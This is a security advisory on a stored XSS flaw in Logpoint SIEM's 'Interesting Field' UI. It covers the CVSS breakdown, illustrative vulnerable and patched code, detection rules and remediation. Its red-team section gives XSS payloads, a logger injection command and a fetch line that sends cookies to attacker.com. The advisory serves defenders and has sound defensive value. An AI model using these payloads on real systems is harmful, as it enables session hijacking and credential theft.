CVE-2024-33859

Executive Summary

CVE-2024-33859 is a stored Cross-Site Scripting (XSS) vulnerability in Logpoint SIEM, affecting versions prior to 7.4.0. The flaw exists in the "Interesting Field" Web UI component, where HTML code embedded in log entries is not properly escaped before rendering. An authenticated attacker with the ability to inject malicious logs (e.g., via a compromised log source or crafted syslog message) can execute arbitrary JavaScript in the context of other users viewing the affected field. This can lead to session hijacking, credential theft, or lateral movement within the Logpoint environment. The vulnerability has a CVSS v3.1 score of 4.8 (Medium), with low attack complexity but requiring user interaction and low privileges. No public exploit code or PoC is currently available, but the risk is elevated due to Logpoint's central role in security monitoring.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary SIEM product (Logpoint). No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector (AV): Network – The attacker can trigger the vulnerability over the network by sending crafted log data.
• Attack Complexity (AC): Low – No special conditions are required; the log ingestion process is standard.
• Privileges Required (PR): Low – The attacker needs the ability to inject logs (e.g., as a log source operator or via a compromised endpoint).
• User Interaction (UI): Required – A victim user must view the "Interesting Field" in the Web UI.
• Scope (S): Changed – The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., steal session cookies).
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., deface UI).
• Availability (A): None – No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for lateral movement and credential theft in a SIEM environment elevates the risk. Logpoint is often used by SOC analysts, making it a high-value target.

Deep Dive & Mechanics

The vulnerability resides in the "Interesting Field" feature of Logpoint's Web UI. This feature highlights specific log fields deemed interesting by the system or user. When a log entry contains HTML or JavaScript code in a field designated as "interesting," the application fails to sanitize or escape the content before rendering it in the browser.

Attack Flow:

1. Log Injection: An attacker with access to a log source (e.g., a syslog sender, a Windows event collector, or a compromised application) crafts a log entry containing a malicious payload in a field that will be marked as "interesting." Example payload: <script>alert(document.cookie)</script>.
2. Ingestion & Processing: Logpoint ingests the log and processes it. The "Interesting Field" logic identifies the field containing the payload.
3. UI Rendering: A SOC analyst or administrator views the log in the Web UI. The "Interesting Field" component renders the payload without escaping, causing the browser to execute the JavaScript.
4. Exploitation: The JavaScript executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Root Cause: The lack of output encoding (HTML entity encoding) in the "Interesting Field" rendering code. The application likely uses a template engine or direct DOM manipulation that does not escape user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.4.0):

// Example of vulnerable rendering in Logpoint's Web UI
function renderInterestingField(fieldValue) {
    var element = document.getElementById('interesting-field');
    element.innerHTML = fieldValue; // No sanitization
}

Patched Code (7.4.0+):

// Example of patched rendering
function renderInterestingField(fieldValue) {
    var element = document.getElementById('interesting-field');
    element.textContent = fieldValue; // Safe: treats as text, not HTML
    // OR
    element.innerHTML = sanitizeHTML(fieldValue); // Using a DOMPurify-like library
}

The patch replaces innerHTML with textContent or applies a robust HTML sanitizer (e.g., DOMPurify) to strip malicious scripts while preserving safe HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a log source that Logpoint ingests (e.g., syslog, Windows Event Log, or a custom application log).
• Ability to inject arbitrary text into a field that Logpoint marks as "interesting."

Exploitation Steps:

1. Identify an injectable log source. For example, if Logpoint ingests syslog from a Linux server, you can send a crafted syslog message.
2. Craft the payload. Use a standard XSS payload, e.g.:

   <img src=x onerror=alert(1)>
   

   Or a more sophisticated payload to steal cookies:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Inject the log. Send the log to Logpoint. Example using logger on Linux:

   logger -p user.info "InterestingField=<script>alert(1)</script>"
   

4. Wait for a victim to view the log. When a SOC analyst opens the log in the Web UI, the payload executes.

Lab Setup:

• Install Logpoint version 7.3.x (vulnerable) in a VM.
• Configure a syslog source (e.g., a Linux VM sending logs).
• Ensure the "Interesting Field" feature is enabled for the injected field.
• Use a browser with developer tools to observe the XSS.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual log entries containing HTML/JavaScript tags in fields that are typically plain text.
• Use the Sigma rule below to detect potential XSS payloads in log data.
• Enable Content Security Policy (CSP) headers in the Logpoint web server to mitigate XSS impact.

Response:

• Immediately isolate any affected user sessions.
• Review logs for signs of cookie theft or unauthorized actions.
• Apply the patch by upgrading to Logpoint 7.4.0 or later.
• If patching is delayed, consider disabling the "Interesting Field" feature or implementing a WAF rule to block XSS payloads in log data.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from Logpoint server to attacker-controlled domains (e.g., attacker.com).
  • Unusual syslog messages containing <script>, <img onerror>, or similar HTML tags.
• Host IOCs:
  • Logpoint Web UI logs showing unexpected JavaScript execution errors.
  • Browser console errors related to CSP violations (if CSP is enabled).
• Log IOCs:
  • Log entries with fields containing %3Cscript%3E (URL-encoded) or <script> in plain text.

Detection Engineering

YARA Rule

rule CVE_2024_33859_XSS_Logpoint {
    meta:
        description = "Detects XSS payloads in log data targeting Logpoint Interesting Field"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-33859"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=[^>]*>/is
        $xss3 = /<svg[^>]*onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Logpoint Interesting Field XSS Payload Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in log data that could exploit CVE-2024-33859
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33859
logsource:
    product: logpoint
    service: log_ingestion
detection:
    selection:
        - field: "*"
          value|contains:
              - "<script>"
              - "<img onerror"
              - "<svg onload"
              - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in log fields (rare)
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert tcp $EXTERNAL_NET any -> $LOGPOINT_SERVER 514 (msg:"CVE-2024-33859 Logpoint XSS Payload in Syslog"; flow:to_server; content:"<script>"; nocase; sid:1000001; rev:1;)
alert tcp $EXTERNAL_NET any -> $LOGPOINT_SERVER 514 (msg:"CVE-2024-33859 Logpoint XSS Payload in Syslog"; flow:to_server; content:"<img"; content:"onerror"; within:100; nocase; sid:1000002; rev:1;)
alert tcp $EXTERNAL_NET any -> $LOGPOINT_SERVER 514 (msg:"CVE-2024-33859 Logpoint XSS Payload in Syslog"; flow:to_server; content:"<svg"; content:"onload"; within:100; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Logpoint to version 7.4.0 or later. This is the only complete fix.
2. If upgrade is not possible, disable the "Interesting Field" feature in the Web UI configuration.
3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in HTTP requests to the Logpoint Web UI.
4. Enable Content Security Policy (CSP) headers on the Logpoint web server to restrict script execution.

Long-Term Measures:

• Conduct a code review of all UI components that render user-controlled data.
• Implement output encoding (HTML entity encoding) for all dynamic content.
• Use a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Regularly update Logpoint to the latest version.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.